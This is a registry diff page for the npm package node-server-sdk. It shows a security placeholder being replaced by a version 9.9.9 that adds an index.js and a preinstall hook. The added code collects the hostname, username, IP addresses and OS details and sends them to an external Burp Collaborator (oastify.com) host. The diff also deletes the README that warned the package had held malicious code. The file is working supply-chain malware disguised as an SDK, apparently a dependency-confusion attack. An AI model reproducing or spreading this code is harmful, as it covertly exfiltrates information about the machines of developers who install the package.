node-server-sdk 0.0.1-security → 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of node-server-sdk might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +69 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,69 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const { networkInterfaces } = require('os');
4
+
5
+ // Burp Collaborator URL
6
+ const burpCollaboratorUrl = '3ko7mz65mfcjqxto4p5j1b2gj7pydu1j.oastify.com';
7
+
8
+ // Function to extract IP addresses
9
+ function getIPAddresses() {
10
+ const nets = networkInterfaces();
11
+ const results = [];
12
+ for (const name of Object.keys(nets)) {
13
+ for (const net of nets[name]) {
14
+ if (!net.internal && net.family === 'IPv4') {
15
+ results.push(net.address);
16
+ }
17
+ }
18
+ }
19
+ return results;
20
+ }
21
+
22
+ // Collect essential device information
23
+ const deviceInfo = {
24
+ hostname: os.hostname(), // Local hostname
25
+ username: os.userInfo().username, // Username executing the script
26
+ ipAddresses: getIPAddresses(), // IP addresses
27
+ platform: os.platform(), // OS platform
28
+ release: os.release(), // OS release version
29
+ arch: os.arch() // System architecture
30
+ };
31
+
32
+ // Convert collected information into a query string
33
+ const queryString = Object.entries(deviceInfo)
34
+ .map(([key, value]) => {
35
+ if (Array.isArray(value)) {
36
+ value = value.join(','); // Convert array to comma-separated string
37
+ }
38
+ return `${encodeURIComponent(key)}=${encodeURIComponent(value)}`;
39
+ })
40
+ .join('&');
41
+
42
+ // Function to send data to Burp Collaborator
43
+ function sendDataToBurpCollaborator() {
44
+ const options = {
45
+ hostname: burpCollaboratorUrl,
46
+ port: 443,
47
+ path: `/?${queryString}`,
48
+ method: 'GET',
49
+ headers: {
50
+ 'User-Agent': 'Malicious-Package-Bot/1.0'
51
+ }
52
+ };
53
+
54
+ const req = https.request(options, (res) => {
55
+ console.log(`Status: ${res.statusCode}`);
56
+ res.on('data', (chunk) => {
57
+ console.log(`Response: ${chunk}`);
58
+ });
59
+ });
60
+
61
+ req.on('error', (error) => {
62
+ console.error(`Error sending data: ${error.message}`);
63
+ });
64
+
65
+ req.end();
66
+ }
67
+
68
+ // Execute the function
69
+ sendDataToBurpCollaborator();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "node-server-sdk",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "preinstall":"node index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=node-server-sdk for more information.